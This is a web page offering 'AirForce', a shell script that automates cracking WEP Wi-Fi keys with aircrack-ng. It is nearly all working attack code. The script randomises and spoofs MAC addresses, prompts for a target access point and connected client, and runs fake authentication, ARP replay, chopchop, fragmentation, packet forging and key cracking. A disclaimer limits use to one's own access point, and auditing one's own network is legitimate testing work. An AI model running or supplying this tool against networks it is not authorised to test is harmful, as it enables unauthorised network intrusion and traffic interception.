Semi-automatic WEP audit
Select the code, copy, type cat > airforce.sh
then paste, end with CTRL+c
#!/bin/sh #AirForce 1.1 #2017 Designdesk.org #DISCLAIMER : ONLY USE ON YOUR OWN ACCESS POINT FOR TESTING PURPOSES #Designed for semi-automatic operation of aircrack on WEP AP #Type "source airforce.sh" to run #To go to the next step when you are satisfied with the scan results type CTRL+c #Monitor Mode ON with "sh airforce.sh 1 on" #Monitor Mode OFF with "sh airforce.sh 1 off" #Interface choice with "source airforce.sh WLAN_INTERFACE_NUMBER" #Depends on : aircrack-ng macchanger screen #Screen commands : CTRL+a n (next window) #CTRL+a p (previous window) ; CTRL+a (close screen) diface="1" #Default wlan interface number ifacen=$1 if [ -z "$ifacen" ]; then ifacen=$diface; fi #Define screen name and interface names sname=air"$ifacen" iface=wlan"$ifacen"mon ifacef=wlan"$ifacen" #Monitor Mode OFF if [ "$2" = "off" ]; then airmon-ng stop "$iface" ifconfig "$ifacef" down macchanger -a "$ifacef" ifup "$ifacef" ifconfig "$ifacef" up dhclient -v "$ifacef" exit fi #Monitor Mode ON airmon-ng start "$ifacef" ifconfig "$iface" down macchanger -a "$iface" ifconfig "$iface" up sleep 2 if [ "$2" = "on" ]; then exit; fi #Scan of all WEP AP airodump-ng --encrypt wep "$iface" essid= #Ask for parameters read -p "Target BSSID : " bssid read -p "Target Channel : " channel read -p "Target ESSID : " essid read -p "Station connected (leave empty if none) : " station #Processing variables if [ -z "$bssid" ]; then exit; fi if [ -z "$channel" ]; then exit; else iwconfig "$iface" channel "$channel"; fi if [ -z "$essid" ]; then exit; fi if [ -z "$station" ]; then station=`cat /sys/class/net/"$iface"/address`; else stationc="connected"; fi #Make random named working directory. Include Q prefix for easy bulk delete with : rm -r Q* dirname=`cat /dev/urandom | tr -dc 'A-Z0-9' | fold -w 3 | head -n 1` ; dirname="Q"$dirname ; mkdir $dirname #Open screen and add windows screen -dmS "$sname" #0 screen -S "$sname" -X screen #1 screen -S "$sname" -X screen #2 screen -S "$sname" -X screen #3 #Windows menu in screen screen -S "$sname" -X hardstatus alwayslastline "%w" #Define window names screen -S "$sname" -p 0 -X title capture screen -S "$sname" -p 1 -X title auth if [ "$stationc" = "connected" ]; then #Spoof mac adress ifconfig "$iface" down macchanger -m "$station" "$iface" ifconfig "$iface" up #Define window names screen -S "$sname" -p 2 -X title replay screen -S "$sname" -p 3 -X title crack #Set working dir screen -S "$sname" -X at '#' stuff "cd $dirname\nclear\n" #Pre-fill with commands/start screen -S "$sname" -p 0 -X stuff "airodump-ng $iface -w capture -c $channel --bssid $bssid\n" screen -S "$sname" -p 1 -X stuff "aireplay-ng $iface -1 30 -e $essid -a $bssid -h $station\n" screen -S "$sname" -p 2 -X stuff "aireplay-ng -3 -e $essid -a $bssid -h $station -x60 -r capture-01.cap $iface" screen -S "$sname" -p 3 -X stuff "aircrack-ng -l $essid capture-01.cap" sleep 2 && screen -S "$sname" -p 2 -X stuff "\n" else #Open windows in screen screen -S "$sname" -X screen #4 screen -S "$sname" -X screen #5 screen -S "$sname" -X screen #6 #Define window names screen -S "$sname" -p 2 -X title chopchop screen -S "$sname" -p 3 -X title fragmentation screen -S "$sname" -p 4 -X title forge screen -S "$sname" -p 5 -X title replay screen -S "$sname" -p 6 -X title crack #Set working dir screen -S "$sname" -X at '#' stuff "cd $dirname\nclear\n" #Pre-fill with commands/start screen -S "$sname" -p 0 -X stuff "airodump-ng $iface -w capture -c $channel --bssid $bssid\n" screen -S "$sname" -p 1 -X stuff "aireplay-ng $iface -1 30 -e $essid -a $bssid -h $station\n" screen -S "$sname" -p 2 -X stuff "aireplay-ng -4 $iface -b $bssid -h $station\n" screen -S "$sname" -p 3 -X stuff "aireplay-ng -5 $iface -b $bssid -h $station" screen -S "$sname" -p 4 -X stuff "packetforge-ng -0 -a $bssid -h $station -k 192.168.0.1 -l 192.168.0.137 -y *.xor -w arp.cap" screen -S "$sname" -p 5 -X stuff "aireplay-ng -3 -e $essid -a $bssid -h $station -x60 -r arp.cap $iface" screen -S "$sname" -p 6 -X stuff "aircrack-ng -l $essid capture-01.cap" fi #Open screen screen -x -p 0 "$sname"
Notes
You may need to edit ifacef=wlan"$ifacen"
on non-debian based distribs.